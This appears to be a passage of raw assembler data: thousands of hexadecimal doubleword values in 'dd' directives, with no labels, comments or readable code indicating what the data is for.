0D8797A34h, 51A2FCE3h, 0E67A3D30h, 4A86009Bh dd 9767C39Ah, 9528F7B2h, 0F02780BEh, 0C464245Dh, 94500F60h dd 967C6525h, 783D0054h, 0D565BE50h, 189E4235h, 0C5496988h dd 0D0548986h, 0D701B389h, 516DDD4Ch, 1D85C85h, 651E05DAh dd 81F05AA2h, 0E579E0h, 6BF89011h, 94275144h, 78444884h dd 9A171863h, 34382AC5h, 0EA30007Dh, 0D9A733F3h, 0D4F8FA0Ch dd 2453FD27h, 9B612B40h, 0B97EDCBFh, 0D258D894h, 9FBF0E93h dd 40FDC7E3h, 0ED7A0E4Ah, 0A8994815h, 2C47395h, 0AFC7B37Eh dd 40345612h, 4E8CAAF0h, 0DE8ECB63h, 6D9013F2h, 80889E41h dd 3CD87807h, 8AE8B45Dh, 0E04859CDh, 61C8780Eh, 0C04C4F49h dd 452899D9h, 55030080h, 9F0D88C4h, 0BC01DB67h, 2A3BB7F7h dd 4ACD1D95h, 422BE7FDh, 3AFB43C0h, 0E864D022h, 20D4F3CCh dd 62285B25h, 0C52190E6h, 1C61914Eh, 18CE9624h, 51C0833Ch dd 0FF401852h, 0D567206Eh, 4DEC34E9h, 0ACA9B601h, 7179BDAFh dd 0D3E49875h, 1649C03Ah, 6E047344h, 0D9CDE375h, 0A0EADCAEh dd 3E3D618Ch, 0C87C8099h, 68193960h, 983C7D9Bh, 49F93000h dd 6320D021h, 3EE8CF80h, 17F61F94h, 0DA083ED6h, 0E024C014h dd 10C49333h, 1F43DB1h, 0B7A0E4BDh, 0CC4341A8h, 4E19AE8Eh dd 23CC4692h, 0BB0049EEh, 0B261C099h, 0C9E59h, 0FE3308EFh dd 8E77E63Eh, 26141748h, 0FD08743Ch, 0FC963E45h, 88548B07h dd 62F7C1EAh, 17D821CDh, 0E52A01C0h, 0AB3DD8A4h, 94C7B101h dd 0EFCC4A2Bh, 0CBC8212Eh, 481C013Ah, 7270C180h, 0B103336Fh dd 2E46000h, 2481ADDBh, 0E838D5D4h, 0B80040BCh, 0D13C8794h dd 1777B467h, 884850D0h, 45864268h, 2696D47Bh, 74757F1Eh dd 1DB71884h, 123344A4h, 4911F562h, 0ACCA5210h, 4585448Fh dd 0A30C6196h, 0F2506222h, 0E3363051h, 42B45900h, 2FADD21Fh dd 0F7827D62h, 12988843h, 325C81C0h, 4810C698h, 0BCB350D9h dd 24189540h, 91843C34h, 3B027068h, 9E37186h, 8241E4F1h dd 4158258Dh, 4B88D48h, 0BDFD1C90h, 13C18116h, 25F2E0B3h dd 2D823D3Eh, 0BDB60380h dd 9AADF590h, 16052B02h, 0F2CBC73Bh, 0D9E6082Ch, 1E124930h dd 4BC8348Bh, 4AA09CC9h, 0BB3CD31Ch, 64F80900h, 2E8DCAB5h dd 257577F1h, 3C6A4FA4h, 0C0936085h, 7F308B54h, 2C9E25EEh dd 0BB587880h, 0FC9F645Eh, 7F7B3A1Eh, 57E35B83h, 8048CC5h dd 171892AFh, 0A02C38C0h, 55EB8805h, 47CC7700h, 0A2B64C1Bh dd 19C8009Eh, 0E01FE3D5h, 38D69651h, 1A4E7420h, 0F64A17F2h dd 0C8288B92h, 457C0D6h, 0E22AA631h, 3E00441Dh, 6284760Dh dd 365C51h, 0CD509AC0h, 9CABB1BCh, 7822E028h, 0C4497F00h dd 15177B9Bh, 1374E470h, 9788EC52h, 109750C8h, 0B42E5E04h dd 9E04AC9Dh, 34982F3Dh, 0E0BF5C97h, 7054992Ch, 0BF178FD6h dd 0BC34139Ch, 0D8BC64BCh, 160C078Ch, 0F20791h, 0FEA4B653h dd 772036F9h, 0C5AAEA09h, 8098650Ah, 22EA2C81h, 0E8EC9603h dd 67200705h, 5C813AEFh, 0B3026D2Dh, 965FCC60h, 5DB16408h dd 4B426FEh, 0A87C91C8h, 8CD5EC04h, 0F077EA00h, 0ACDEC771h dd 51C60915h, 1072FB35h, 0BBFE9821h, 98FAA054h, 0D010971Dh dd 0BE24C62Fh, 465EA022h, 0FF723E4Fh, 6E3DD612h, 58D3F71Eh dd 0A4319C23h, 0E5B21303h, 0DF749010h, 510A3B00h, 0E8678FC5h dd 0C1D87758h, 576A4565h, 0BE5038B1h, 186C3EF5h, 79C780D6h dd 2297EEF6h, 0D7D898h, 66DE51CAh, 0AD7F407Ch, 7AECEDB0h dd 20DDCC34h, 55F2D8E2h, 3757B30h, 10871C0Ch, 82140EE3h dd 10605C7Dh, 0B40142C2h, 3728BEC7h, 8EC43263h, 3850F179h dd 0CC298844h, 86F0DA04h, 7888A161h, 3790067h, 24B20D94h dd 0E014C2D6h, 71C0FCEDh, 0CC00B9FCh, 0BFA810D4h, 95F175B1h dd 10ECE011h, 1508F21Ch, 0F0C28677h, 79C9D200h, 0A7E4682Ah dd 0BD511E13h, 90C4641Fh, 98A36CF8h, 90A96B21h, 2A185471h dd 95C71A01h, 0AB10F88Fh, 5A4243Eh, 8176F024h, 73E0D044h dd 4CCD2200h, 2BC109Dh, 0C2053B43h, 811ECB18h, 0D98488h dd 21ED7A33h, 0C59D41A5h, 29CB9822h, 64800E71h, 61C6415Ah dd 0B022E501h, 58E67C15h, 7E0CF922h, 0E8BBA8D0h, 0EDD319CFh dd 58967068h, 0F188562Ch, 4A2A0AF2h, 0E028FB58h, 5AB1C07Ch dd 0A0B98894h, 0FD7E1348h, 231C2F07h, 44A3BE9h, 46F920C0h dd 7BA0C009h, 0EF1A8838h, 422F8A04h, 94A2C655h, 4274B050h dd 636611FBh, 0F4392A89h, 0CE451057h, 0F8A59543h, 6120A035h dd 0EF3BCD13h, 1D15F0F3h, 0AB008C47h, 535C24A9h, 0BD0060A3h dd 47F05D0h, 901297FCh, 4B5120BCh, 9E4E2490h, 0ED88508Bh dd 0A54946C0h, 0E82E07FCh, 75CD68EAh, 61D83C55h, 0CDC8B4A9h dd 0C0223A2Bh, 0BDD8843Dh, 0B9C6FA44h, 68852734h, 3E9AE888h dd 5D278A2Fh, 0FB14C1h, 0DAC1FAA7h, 0A0592852h, 9418D279h dd 0F9E0EA02h, 0E1826DD5h, 0C89062C1h, 88908E67h, 0C8F24916h dd 6602B5F8h, 3BFD54DEh, 2880F046h, 3E6025B3h, 0E200A66Fh dd 635B2019h, 5CB30328h, 0FD27E305h, 0B0227C5Ch, 3E0A2558h dd 0F2C1E8CDh, 0C0F8B054h, 6F0A821h, 95B800CCh, 5EE1282Ah dd 0AE1482D1h, 80B0868Eh, 0EF75B26Eh, 0C7E81E5Ah, 3A9FC394h dd 1BB0A280h, 145C1A68h, 6F0D918h, 9AB4F451h, 0C654093Fh dd 5F165444h, 0A4C3BC62h, 92BD8039h, 0E0418A59h, 0E49F1256h dd 27B41694h, 3D9903ADh, 12707D13h, 0E574A01h, 0A3155094h dd 4C6069C8h, 39C0C449h, 238841F3h, 0CB426A1Ch, 7D950E80h dd 115F174h, 0C7F8DA3Fh, 20142298h, 0FE41ADC4h, 40A481D0h dd 1E069EEFh, 0EC044A60h, 0B1401810h, 0B50729C1h, 5613A072h dd 9025A4h, 73CF46h, 2385EB49h, 40F5E50Bh, 0F6A838h, 7991BD7Bh dd 10619DABh, 24215EDh, 5323C820h, 0E4C8659Fh, 0C956001h dd 2EB4A09Eh, 81611064h, 162000FDh, 0EEA7A8BEh, 220676FAh dd 0C85C4394h, 80977413h, 680C78C8h, 0A4EF25BCh, 0FD60704Dh dd 20FBFh, 927DA36Eh, 45617483h, 40779926h, 6A2C4E00h dd 93BE354h, 4480C1ADh, 4FF874ACh, 0F12B6300h, 2E8B1021h dd 2C89E79h, 0EF25E4BFh, 82F3B00h, 1E0500F5h, 8D06DC38h dd 6200030Dh, 0D2E5EBECh, 29AF782Bh, 0D1646592h, 4C1854h dd 94D6D765h, 923CF60Eh, 0C538A903h, 0E52611h, 62A18889h dd 849E8F06h, 0F7F34402h, 5CD4F87Dh, 26EC2370h, 0B9F40858h dd 0E97F6700h, 98A7DA0h, 0A8071121h, 0E7E204C5h, 61D0183Ah dd 0C99D3D00h, 972C1BC3h, 3C29EB03h, 0A8EB7E05h, 1DA40BCDh dd 3C078872h, 0BAC2C774h, 9B118801h, 6E0498FBh, 0AEB50068h dd 47F22E92h, 5600F35Ch, 0E9B8A386h, 1279CA1Fh, 0F340CF1Ch dd 304BA2BCh, 5200FD9Eh, 3C5CE64h, 7F5AE76h, 0AF7D0294h dd 6169C244h, 41008C76h, 0D5675AC4h, 344B459h, 4AF8B54Dh dd 0ECC4A483h, 8C50BC14h, 0DB979B00h, 0F6D5B0DCh, 8E85825h dd 50682480h, 0CC04205Fh, 1E7F07A3h, 3B88F4h, 0E25F0FDh dd 47786C27h, 0F9022AB0h, 29412B5Eh, 97704C96h, 0C04ED49Bh dd 0B0AEC40h, 0B7D62B2h, 7A41E955h, 0A17AE852h, 89640309h dd 2E0424F4h, 10BF9260h, 11817E23h, 8AD303EBh, 0C00A8FBFh dd 24B3C37Fh, 260367A0h, 0AD6A30h, 7F6F46A8h, 94EEB286h dd 18B0F9B8h, 30892A20h, 0E8F1491Ch, 0AA00934Dh, 0F9477443h dd 0E0A5805Bh, 0A7F301D0h, 4A9BFE94h, 0A808F048h, 1424D9EEh dd 6006CC1h, 9CDC03B8h, 0C11261A1h, 30E61843h, 9DF18Dh dd 86E2878h, 69C727EFh, 0B3103046h, 9002C538h, 0C2F8D1D6h dd 0B4B9A704h, 5C09F3B8h, 4EC022F0h, 0A7DF2DD8h, 0FC4018CFh dd 911E21DBh, 639000A8h, 0E7F97CB6h, 3C37282Eh, 62EA4108h dd 0C700A887h, 966349D3h, 7EC807BCh, 2E41C572h, 1D82344h dd 0AF7E0C87h, 49E604Eh, 1C20C550h, 0A76CF109h, 2F180008h dd 27611B89h, 14C885A4h, 45004434h, 0EF4F652h, 5EC60A9h dd 0C5D633AFh, 94EC00C0h, 24F73C0Fh, 3AF8A5A1h, 0EB23942Fh dd 8D68CA00h, 977E32E3h, 8048C4E2h, 29D71CDh, 0B73C9D4Ch dd 0DC298280h, 58C0BBAAh, 0EAFF7849h, 0C0D6E0F8h, 2C4CCCBh dd 0F84F303Bh, 421F099Bh, 3C606882h, 0D890B03Ch, 7000FC4Bh dd 0AD0C4023h, 17DC9034h, 0CBDEA768h, 13BAC4F8h, 8814E231h dd 0B586CB8h, 0F490A018h, 520E57A7h, 40067213h, 0F2C4D1F6h dd 9B142421h, 689A08DCh, 0CB01930Eh, 7EBCB009h, 0F61D09A7h dd 2C7BAEFDh, 0A1E9D0h, 12F40287h, 685BB1F5h, 0FA0DF7E6h dd 0A9B32AEEh, 2D49C441h, 90153474h, 7017F944h, 0B832B508h dd 673DC01h, 0F89007E0h, 0F8284CC5h, 7CC47C89h, 16027E46h dd 3AC5ACEAh, 7B105231h, 0F63CEA2Eh, 0DD41308h, 0ED9D68C2h dd 1585C09Ch, 4527620Eh, 597C8B1Ah, 60847BF0h, 2CC79203h dd 23C068Eh, 0A4AC9968h, 53718079h, 9014318h, 65C6AFD5h dd 407CD979h, 4020271Dh, 0A0B1335Fh, 0C2749162h, 9D8DB700h dd 10E98C97h, 157A2F4Ch, 5820B844h, 272613C5h, 254421AFh dd 0F07E006Bh, 0F1C8AA58h, 18D77994h, 0B69700C5h, 0C88F96F8h dd 6118C449h, 53B1F675h, 30ED66BDh, 3C5EB2BBh, 0CBE7C820h dd 0A9DCA84Dh, 0A068484Bh, 812E89h, 8A14B07Fh, 0B4F831D0h dd 88B62013h, 5DCFE9B0h, 170ADF02h, 77630436h, 67A11018h dd 0C00DFB04h, 0D8C2A8F6h, 9C642B15h, 820069F8h, 0C36D67FBh dd 0B54D701Ch, 0CC23DC27h, 0C00543D1h, 31202A07h, 5448F8C2h dd 0E4171258h, 4978C10h, 0F0F920E0h, 0F81C78ACh, 9C24358Fh dd 47FD070Bh dd 604F6418h, 4F51C629h, 0DB4405Dh, 0BB2AE340h, 4D026892h dd 1278DA22h, 0B6246CF3h, 0D6465600h, 3ADAD26h, 0CBD00B02h dd 80C861BAh, 301609F8h, 81C3AA8h, 0A0F5050h, 0A0F41D24h dd 16BC8008h, 0F4925A05h, 5F9EB8F0h, 0E1C097B6h, 81C4246Ah dd 34B1CA18h, 4A70968Eh, 863A2D4Eh, 7300B8B7h, 56B2ECA5h dd 50408107h, 4A3D89E4h, 0D83FA427h, 0A1692EDCh, 8E9F8A60h dd 0C50787C0h, 759232ADh, 74F2F0EAh, 6169C813h, 162E60F0h dd 92B6AC37h, 24649F8Ch, 82652500h, 0B5A89C51h, 609775C4h dd 0B86A1867h, 0C6045955h, 701E7117h, 343E44B0h, 1894551h dd 43E33DE4h, 9D70241Bh, 38FC97BFh, 141E1446h, 0CDB7C1FCh dd 44EA1209h, 15252064h, 0BE404112h, 7D169C5Dh, 1804CF0h dd 12152EFBh, 0FA359052h, 0F35C5840h, 3D3C8282h, 0E9F604DBh dd 54F84068h, 461C440h, 17B4A0EDh, 84E8CEAFh, 92303AE8h dd 0C00032E1h, 0B0ED9674h, 2302EB3h, 67B4A6FEh, 48D6D5B1h dd 984B2400h, 0B7A0806h, 108420F8h, 0EA4474E7h, 0CBFDC960h dd 404FF92Dh, 998BDB8h, 12435E2h, 305928ABh, 2318D879h dd 12FD5E02h, 40670E90h, 82603848h, 4C0F9040h, 9E14794Ch dd 0B1C82F81h, 0E085D2B5h, 52691DB6h, 745CC8E4h, 0D93AE301h dd 0A8B5C251h, 7D114890h, 11941F9Fh, 3014804Bh, 48EF889h dd 7C442FCDh, 25C78345h, 859FA0F8h, 40C0904Bh, 9CA4824h dd 410D2B73h, 50DA5805h, 0AF1E9CE0h, 0B0259468h, 0C12B7E84h dd 0E8CF5D23h, 0CBF2F9BEh, 970F5C00h, 0DF3CAE84h, 9DF8C498h dd 1F2E01BCh, 48F28829h, 907AD830h, 0F0C64C54h, 3EAF0913h dd 3EB2368h, 8C59806Eh, 93F5703Ch, 0E83AFC40h, 7B004B23h dd 0F6B3E10Fh, 81E81F3Ah, 0C07EC429h, 1344EDD5h, 28B3148Fh dd 0B23056B2h, 0A69E3FE2h, 45200C4Ch, 4A3AF320h, 104CF6FAh dd 7C045505h, 0F45630F0h, 87403160h, 4D910F6h, 0A0F51DAAh dd 0E47DC24h, 97182FA0h, 0B75301B5h, 4A6009D6h, 8C002A9Ch dd 0F988EFF5h, 6F7F2794h, 1344B0D8h, 17780B24h, 0B89DBDCDh dd 0A80EE11h, 0ECB1D754h, 0D0B77EAh, 0EDA73DF8h, 1E4260A0h dd 3009EF5h, 9587AFF4h, 61A1460Fh, 0F07D7176h, 36D4289Ch dd 196413h, 43BD020Dh, 19047F64h, 682D5102h, 0DC4681D5h dd 9321E68h, 0B4C035EDh, 0C26D1FCh, 3D8674AFh, 16186A66h dd 0F24C3C20h, 417D1114h, 122B8D00h, 1079C9AFh, 0D4125C5Ah dd 7B705804h, 0AB694818h, 0F94B80h, 67C129D7h, 0AFC58A3h dd 0BE87A500h, 623CF6B1h, 60E4A282h, 1DF46198h, 43FC3E9Ah dd 5B592E44h, 0AEFDF5B8h, 1D4DE82h, 0DED7F83h, 0AFC5075Ah dd 41348CB0h, 89FA60D1h, 70B8B86Bh, 0C55B3EB8h, 3DAD3C0Fh dd 0AA6D7B0Eh, 908C3011h, 1038E46Bh, 4A59C8C0h, 41180165h dd 0BBC56C62h, 0DE219059h, 164F5924h, 9A6817E1h, 0C77DC040h dd 3B38CD28h, 0A280A14Fh, 7177EB67h, 6810F890h, 719C16C5h dd 79614C99h, 48A7047Ch, 45AFEA78h, 0ECEE554Ch, 8C52EC40h dd 0D2500703h, 902576B7h, 16BF6D26h, 0B4880F62h, 30F0A19Ch dd 0EE0379EAh, 9AEC259h, 5326F9D3h, 3FAD75E8h, 2B84E42Fh dd 0ECE1FC4Ah, 3CE884F0h, 460E421h, 7200FCB2h, 0EF2D845Ah dd 6E9571DBh, 0E77F4AACh, 64B422DCh, 0BA6C500Eh, 3DE3D005h dd 0C288D4FCh, 878E04Bh, 0E1E389E9h, 0ED91AF40h, 805BC4D0h dd 18D14D16h, 1B25B401h, 5EB8F1E6h, 0E080442Eh, 2C085289h dd 78A784CCh, 2458ECD0h, 9D699CCAh, 804F116Ch, 6C19397Fh dd 77940B12h, 0CCE2A0F0h, 0D144E867h, 4E72C160h, 3D573800h dd 0CFEB4A74h, 441800F0h, 7961BFA1h, 0C2FF7F3h, 2D8C6401h dd 5440AC7Ah, 21B522A7h, 0BAEE8AF0h, 0AD15BC41h, 7930DCh dd 0ECD4BA8h, 81694B6h, 0A122C52Dh, 0A1A37A74h, 95609E4h dd 7B6664E3h, 178990D1h, 2AB8D211h, 7EC4C1Bh, 90155E98h dd 1FBEE01Ah, 2048F59h, 0A09F8172h, 451CA4h, 0C83116C3h dd 5A8D601Bh, 0D196CF00h, 2E302BA1h, 909E03AFh, 18B25F89h dd 0E33D6809h, 0A2C07242h, 89607924h, 50E85CC0h, 0AC118E67h dd 5900F022h, 85749796h, 613AF173h, 0F76F00E2h, 88A74811h dd 82433968h, 0D060CDA7h, 3527F4F3h, 88109D3Fh, 0EC603AE7h dd 0E4AB72h, 5054D709h, 9EC07A2Fh, 8CC0704Ah, 0B669D5CDh dd 1865A5F4h, 0DB60ECE4h, 7748A118h, 305F245Ch, 3F7CD049h dd 0B8091422h, 60A0028Ch, 0F7FE2E78h, 251C0D58h, 344A5A5h dd 81526C00h, 985125h, 0B746E380h, 0EA215BA1h, 2FAF903Fh dd 0C6BC80B4h, 99E9D551h, 0C41C12C0h, 8064F85Ch, 0E6A803EBh dd 17AF1FB0h, 5449C0E4h, 0FF24E5BEh, 80817890h, 0D1FE0057h dd 1DC1C0E8h, 0FAF75011h, 3D462D02h, 7819F567h, 39304B0h dd 8121C236h, 13B8DCh, 9DC9040Eh, 9C539C18h, 3C4BC4Ch dd 924187F4h, 25A17A24h, 7C92D9B1h, 3FD2384Bh, 0A00B2452h dd 59F5824Ah, 2D404070h, 0F77FEC5Ch, 58CB8900h, 8BF03299h dd 0DDE2002Ah, 1C8F7BCDh, 0B0F43728h, 0BF027BB0h, 0BEFAA7F6h dd 95E850B3h, 6DC02C6Dh, 0B09358Bh, 0F78569C6h, 0E42000FAh dd 0F6C03AEBh, 1E54304Ah, 0F53892F2h, 0C878857Ch, 0B04F5321h dd 0C0A1893Ch, 5B496648h, 5B6CC035h, 84A445DEh, 0AAB79702h dd 0F228E3CAh, 684E02CCh, 8ACB9FADh, 6483B841h, 98957844h dd 0C4F9AD0Ch, 0BA9EE950h, 4C00786Bh, 0D2B6751Dh, 9D015663h dd 51660E62h, 4000E881h, 69B0C446h, 860F84Eh, 4060D87Ch dd 0D52767A8h, 1C1083D9h, 6BA086AFh, 0E46708F3h, 0E861E964h dd 0E871DAFBh, 0ECA15187h, 3D3C0878h, 90087C26h, 0B07F0EAAh dd 158C0996h, 50C49467h, 0A2128064h, 0F504C206h, 9B1C875h dd 0B520D8B0h, 0B88E5035h, 297C80E0h, 9084FCDCh, 9238055Ch dd 49B0A16Dh, 0C4C096C8h, 0F0A67B90h, 82E47920h, 138C284h dd 77FEA584h, 15C2A028h, 25C2ADEAh, 7E80A0E5h, 0CA4EEA2Dh dd 39C120Bh, 46E060C7h, 11C7DF24h, 33715DB7h, 922F2A36h dd 0F8AB01F8h, 0A1775050h, 0C3FABCA8h, 6539FC67h, 0C8E822A4h dd 804BC20Bh, 0D022CC4Bh, 24C7D3Eh, 20564D91h, 405CA0D3h dd 64A63709h, 14D02D3Ch, 0EC288CA2h, 0D696801h, 5E134028h dd 9BB00004h, 0BC8592DEh, 557E69C0h, 0F3A51A9h, 4679AFB2h dd 0F9803F42h, 55D13859h, 91008A18h, 73E815A6h, 917ABFBEh dd 51698ABCh, 0A88593CCh, 8CEEBCDCh, 561BF703h, 882154E8h dd 8679BE34h, 7DA43A01h, 141F85B8h, 60A0D070h, 0A95141F7h dd 0A40104C7h, 0F1D9C0FAh, 0D84C2D33h, 0F43D4461h, 58BDCE25h dd 408122Ch, 1EC823C4h, 80A0ACC4h, 2E32CCE1h, 87440117h dd 9B3F799h, 47F9FD23h, 6E8718E0h, 0B9B96551h, 2E2A9D04h dd 3B02103Ch, 38D804C0h, 0A86BA170h, 0C0E86DD9h, 7A4A73CCh dd 0EE1CC495h, 4562120Fh, 0E488C04Eh, 0D89C5CD1h, 9E87F305h dd 0FF23D82Fh, 0D9DE2501h, 443F6648h, 16B2670h, 0C778F896h dd 9008502Dh, 0BE00FD01h, 0EEF630B0h, 0E067E23Fh, 0A75C2Dh dd 33A52E80h, 8400B159h, 36CA1430h, 0E61DD8Dh, 8513643Eh dd 0F2340892h, 84BC0412h, 801828Bh, 0E00675D5h, 0B400CB5Dh dd 67FD4F26h, 95EE129h, 6B08EA07h, 9C9034D0h, 5EDF7120h dd 7C10A2ADh, 1097916h, 3727D000h, 2FE252E3h, 1C51C9B1h dd 18E62017h, 0A216D6B0h, 0F724F3E2h, 0E7409C1Dh, 132BA533h dd 1CF96062h, 67052244h dd 75C07D96h, 64DBA456h, 0AA8F108Bh, 7D4F001Fh, 0F5E39322h dd 0B1BE4604h, 30B8BA70h, 0EAF0784h, 20618589h, 674CB4D0h dd 82E9D3C0h, 78D80DF4h, 52A71725h, 0C871007Ch, 3A4DB664h dd 70FE6BAh, 0C0AFDD2Eh, 801BA779h, 2E421h, 354F727Ah dd 316C3BA8h, 0C0F7FC4Bh, 8BBBDAA0h, 0A70B7208h, 1CBC9812h dd 0EA01106Ah, 0A6749B80h, 8473705Dh, 50A1C111h, 659D3404h dd 216E18CCh, 91D727E3h, 91045CE0h, 39F40998h, 54D994E2h dd 863B0178h, 885F3098h, 119ED420h, 21271AFh, 9256DCB2h dd 30563C4Ch, 56467Ch, 0AB3494EDh, 9F85E29Eh, 4E792820h dd 0AAE6C9AFh, 1AE88003h, 8A496518h, 99784311h, 0C82AF1FEh dd 17404B40h, 24450BF0h, 2C87C266h, 842048ECh, 5433120h dd 4879C07Ch, 0F80C6010h, 20844D6Ch, 0B102428Dh, 1E4008F7h dd 0C678482Dh, 8F94969h, 1B30D13h, 4A318A1Ah, 38CC3E7Ch dd 0C0D64080h, 0EC52CA90h, 35C117DCh, 0D288588Fh, 8A91D6C0h dd 2EA7983h, 68EC995Bh, 686A4DCDh, 18CA0C89h, 0B8381855h dd 0AA66314Bh, 38F6D9A1h, 36468074h, 0F64ADEE2h, 62A781C4h dd 0B7E10058h, 585DA0CFh, 51890072h, 0B6088CE0h, 5700E394h dd 12AEC7C0h, 0C06792AFh, 78251EB1h, 421F1B2Ch, 0A8069C43h dd 1699501Ch, 0F200B07h, 16A06278h, 0A584CAD4h, 0EE1E63E0h dd 726FFD5Bh, 1D0E18B0h, 0F941394Ah, 3A954000h, 819D527Dh dd 603F00FAh, 6D64B8A3h, 79132E9Bh, 0B8904962h, 2B3171Dh dd 90C196C7h, 0A275C47Ch, 12E649A8h, 4B59FCD1h, 0AA1C7718h dd 8DC0FCEFh, 0B8C83AECh, 92F319FAh, 0F535763Dh, 1C2F2B11h dd 0C21E5623h, 0BF89F6C0h, 9A77E66h, 22AD3B1Eh, 2CD600D6h dd 103C402Fh, 98C809D5h, 490066F0h, 652D8428h, 0D214A090h dd 4AB9820h, 0BF03EEE7h, 2630A4CEh, 0C8F83304h, 3EEE9E9Fh dd 3EB23D4h, 0CC616340h, 0F04681ACh, 84BC2248h, 2CE4C9FAh dd 203C5BF5h, 0FB7DA17Ch, 6DD70B1Dh, 4A59FA98h, 0A2B41E96h dd 0BFA70022h, 0DB341841h, 5205D827h, 807E4820h, 4C224080h dd 0E1B8F1CDh, 18908D7Eh, 1494C095h, 28155E2Dh, 884B400h dd 66A129DAh, 4DAD0D58h, 9F80D4BFh, 863D6743h, 0E608C492h dd 92A8B505h, 0D1F8A0C1h, 0DC29CCA9h, 2AB7D434h, 0D204163Ch dd 66FA4BF8h, 0B05E38D4h, 0D8B44884h, 810A5B3Eh, 77C8880h dd 0C7FB3301h, 6BE92078h, 5E090860h, 69E07878h, 0FC5047h dd 7C3C4610h, 8B05DA17h, 0A5490838h, 0A45A88B8h, 0C02890A5h dd 2F28E8BCh, 583F05FDh, 308C9697h, 0B8044C1Ah, 0C0EE537Fh dd 1D4F308h, 30C87E96h, 4E597BFh, 3C6052E4h, 0DAE4EC0Bh dd 0B2985A00h, 7962675h, 7E2E060Ah, 6065B0F8h, 0C2A37D00h dd 0E501B27h, 0BB22F868h, 6FC47020h, 7C737818h, 8F1768h dd 82C7C274h, 2C8CAC79h, 458A4207h, 40F0EECFh, 195863Eh dd 0E33FE7Ah, 8043A570h, 0E04B8720h, 57670Ch, 41CD2795h dd 422E8925h, 0B7588EF2h, 0FA180C0h, 787E9A34h, 35FD0090h dd 6FF980Dh, 262483ADh, 950040C2h, 189B5643h, 5AE000Eh dd 0BE13C4BFh, 7100ED88h, 96087601h, 1AD6622h, 89B3B737h dd 0F0198067h, 880BFC78h, 563CF742h, 29405794h, 31FC3EE3h dd 408F84Eh, 11AC012Eh, 63F92820h, 2B2F105Ah, 87720810h dd 201AA518h, 8C61603h, 6318F47Eh, 78904134h, 20955920h dd 8837EF75h, 38B40873h, 0C516904h, 404B3958h, 77407EF0h dd 25284050h, 641AE440h, 4DC893Dh, 97061CCAh, 9E361036h dd 2051C194h, 0CC337A29h, 10B22817h, 10E2C671h, 8D0D6115h dd 88F0400Ah, 0D7BB721h, 0C729F322h, 1DFE4018h, 0A94F1308h dd 8984484h, 0EA34D1F6h, 9E115181h, 22DC0362h, 0EB62FE19h dd 66D98B9h, 0BA20A17Bh, 0DE0D2096h, 98094833h, 0A2B1105Fh dd 60361857h, 0C8F6EA08h, 7F086389h, 315818CAh, 738147A0h dd 0FF703988h, 82A5A08h, 0F51E696Fh, 6353260h, 0E8A26B88h dd 0FD02DBC8h, 0B8B6058Fh, 0FC262AECh, 4003CD44h, 90403BCEh dd 201F6664h, 0F9206994h, 25F7316Eh, 8D93C340h, 8549110h dd 0A701E3F5h, 4ECE0142h, 2CC9701h, 7794A3CBh, 0DC403922h dd 0F840B5C0h, 8F84401Eh, 645FB0A8h, 811008DCh, 380EED19h dd 0B8EC51F8h, 5034016Ah, 0ECDD0888h, 63A94D1Ah, 0F1081091h dd 5F0D103Fh, 105BB110h, 0E310762Fh, 538A1033h, 1092E810h dd 0E010D4F4h, 7E9C1061h, 5C5CE610h, 37A440B2h, 329141D9h dd 0F7025188h, 8F53108h, 3818EFEEh, 834DB181h, 0D00396F2h dd 6050330Bh, 0C110C289h, 2A10703Ah, 0D8B22A47h, 0EE09254h dd 40333C40h, 6540AB62h, 54BC9222h, 406BC004h, 81C4447Ah dd 0A40CE0D8h, 31408929h, 0E6C4A914h, 0D6B73988h, 846AF08h dd 0DD185799h, 0C412B3D9h, 4495888h, 670445ADh, 0C75063Bh dd 234A31D8h, 20DDB08h, 0A6C849DAh, 0E63129BBh, 1677A08h dd 6F016C17h, 183601CFh, 410308Ch, 69648908h, 7043DA9h dd 41F10C6Fh, 814E66F4h, 0AE20082Dh, 51EC60F0h, 8539690Eh dd 0D0150B9h, 2CC52A96h, 0F0071C74h, 323D3002h, 0D9863710h dd 0A101B170h, 633BC5FFh, 0F874E24Eh, 7C9028h, 803ECBCFh dd 0B60C05F8h, 0DAB17700h, 0FA1B784Ah, 1C4D589Eh, 98BE7080h dd 2E00EE03h, 4132A25Fh, 401D1E79h, 572CA3DEh, 6500A818h dd 4F25F164h, 7F10C039h, 0FACC1104h, 0A0A94A12h, 0EA0058F8h dd 2D6378C2h, 1200A6BDh, 0B1C783FBh, 214E8Ah, 0AF307A1Eh dd 4AD13413h, 9F25AE0Ch, 5C6138h, 89068FF1h, 0A01861AAh dd 0A8C05972h, 4AC2C5B1h, 6F65281Eh, 0C07194h, 0DA5192AAh dd 1C5EF141h, 9F0FA3Ah, 486EA152h, 1DE6536Ch, 41F5F973h dd 85A44432h, 24003F2Ch, 0B65F113Fh, 6ED000B7h, 48A5BC2Bh dd 0DA005686h, 0ABB32430h, 60CBCC25h, 0F154A014h, 9D000691h dd 423696B6h, 0A27D5ED9h, 0C1846884h, 0C2A50AF8h, 809C12h dd 30BCBE10h, 0B0357E6h, 858E42B6h, 2580C66Ch, 0A4E84A13h dd 0AF0A87C6h, 84675EE0h, 0C4BABF01h, 9850D81Ch, 7C68BBBh dd 7F123B7Bh, 56351Eh, 0E6069384h, 0D0C73D88h, 9CF05EF9h dd 0BC402610h, 0DFB40010h, 0A01437D2h, 88800F4Bh, 1FF2553h dd 0BD6AF5AAh, 8EACBBA1h, 0C02F9418h, 655A2689h, 0B07750FBh dd 41E629h, 69A796DDh, 98B4247Bh, 0E6A0BD26h, 0D8AB9D00h dd 0EE0A0CADh, 0EE9F0E71h, 30F39D9h, 0C4B9BF60h, 9043BC0h dd 639A114Bh, 6961480h, 0C4B25488h, 0C65CA0E9h, 0CF4A1CAh dd 90F816EFh, 1C4BDB7h, 2E962BA7h, 6024AAA0h, 81E14F1Ch dd 408DBBDCh, 25180388h, 3BF9C9EBh, 0A029B001h, 0E1938AEAh dd 22DC94FFh, 34729D38h, 0A27D9900h, 6A3953DDh, 882D0A16h dd 0AB07AC1h, 45D85027h, 92D8C0C0h, 9F48DA59h, 0AFC05019h dd 0F5F1CB70h, 3718070h, 41C5E62Ah, 0AAB73A65h, 430EF79Eh dd 0A1DC8815h, 78245800h, 0F926DA49h, 7C38CCB0h, 90EA7A10h dd 80B452h, 0CC6F1E27h, 0C3C9953h, 6E56298Dh, 852D9B11h dd 0AD4000ACh, 12FA61A0h, 27418410h, 0EFAAC090h, 0C32888D6h dd 4262A009h, 7C968518h, 160D027Ch, 40426223h, 0ECDA004h dd 0D4E16A06h, 825048BAh, 406A5825h, 6E8E5DCh, 0EE051F45h dd 9F1428ACh, 